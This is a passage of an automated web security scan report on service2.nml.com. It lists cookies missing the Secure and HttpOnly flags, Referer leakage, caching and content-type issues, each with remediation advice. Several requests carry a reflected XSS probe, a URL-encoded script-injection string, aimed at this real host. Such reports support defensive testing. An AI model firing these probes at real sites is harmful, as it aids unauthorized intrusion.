GET /bcis/style/systemStyle.css HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639521445; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.12. https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639668577; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639668577; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

4. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bciswas6/form/bcis/bcislogin.fcc

Issue detail

The page was loaded from a URL containing a query string:

https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc?TYPE=33554433&REALMOID=06-3b2460c2-658a-4ce9-83aa-afb43a2535cf&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-c3lXBXF9kTimLaOzCCwXCcD9H0bN6tVyOVuuWFHW%2ftOkjogAOw3QMRLAcDAn6GFO&TARGET=-SM-https%3a%2f%2fservice2%2enml%2ecom%2fbcis%2fupdate%2flogin

The response contains the following link to another domain:

https://ehg-northwestern.hitbox.com/HG?hc=we85&cd=1&hv=6&ce=u&hb=DM530620POES59EN3&n=PUT+PAGE+NAME+HERE&vcon=CONTENT+CATEGORY&seg=&cmp=&gp=&fnl=&pec=&dcmp=&ra=&gn=&ld=&la=&cv=&c1=&c2=&c3=&c4=&customerid=

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:54:39 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19903

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
<noscript><img
src="https://ehg-northwestern.hitbox.com/HG?hc=we85&cd=1&hv=6&ce=u&hb=DM530620POES59EN3&n=PUT+PAGE+NAME+HERE&vcon=CONTENT+CATEGORY&seg=&cmp=&gp=&fnl=&pec=&dcmp=&ra=&gn=&ld=&la=&cv=&c1=&c2=&c3=&c4=&customerid=" border='0' width='1' height='1'>
</noscript>
...[SNIP]...

5. Cookie without HttpOnly flag set previous next
There are 12 instances of this issue:

/bcis/image/bottomleft.gif
/bcis/image/bottomright.gif
/bcis/image/go.gif
/bcis/image/nmfnlogo.gif
/bcis/image/spacer.gif
/bcis/image/topleft1.gif
/bcis/image/topleft3.gif
/bcis/image/topleft_nobar2.gif
/bcis/image/topright.gif
/bcis/style/bcisstyles.css
/bcis/style/systemStyle.css
/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

5.1. https://service2.nml.com/bcis/image/bottomleft.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/bottomleft.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639724031; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.2. https://service2.nml.com/bcis/image/bottomright.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/bottomright.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639714673; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.3. https://service2.nml.com/bcis/image/go.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/go.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639656817; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.4. https://service2.nml.com/bcis/image/nmfnlogo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/nmfnlogo.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639496467; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.5. https://service2.nml.com/bcis/image/spacer.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/spacer.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639472289; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.6. https://service2.nml.com/bcis/image/topleft1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft1.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639480935; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.7. https://service2.nml.com/bcis/image/topleft3.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft3.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639638224; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.8. https://service2.nml.com/bcis/image/topleft_nobar2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft_nobar2.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555640239536; path=/; expires=Wed, 02-Jan-13 01:54:00 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.9. https://service2.nml.com/bcis/image/topright.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topright.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639491453; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.10. https://service2.nml.com/bcis/style/bcisstyles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/style/bcisstyles.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639505300; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.11. https://service2.nml.com/bcis/style/systemStyle.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/style/systemStyle.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639521445; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.12. https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=174.36.218.2.1325555639668577; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

6. Cacheable HTTPS response previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/favicon.ico

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

Request

GET /favicon.ico HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: WEBTRENDS_ID=174.36.218.2.1325555639609746; CP=null*
Content-Length: 10

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:54:04 GMT
Server: IBM_HTTP_Server
Last-Modified: Sun, 07 Mar 2010 05:17:33 GMT
ETag: "2c73ed-cbe-4812f10d9d540"
Accept-Ranges: bytes
Content-Length: 3262
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/plain

...... ..............(... ...@...............H...H.....................................................................................................................................................
...[SNIP]...

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	https://service2.nml.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

Report generated by XSS.Cx at Mon Jan 23 13:20:51 CST 2012.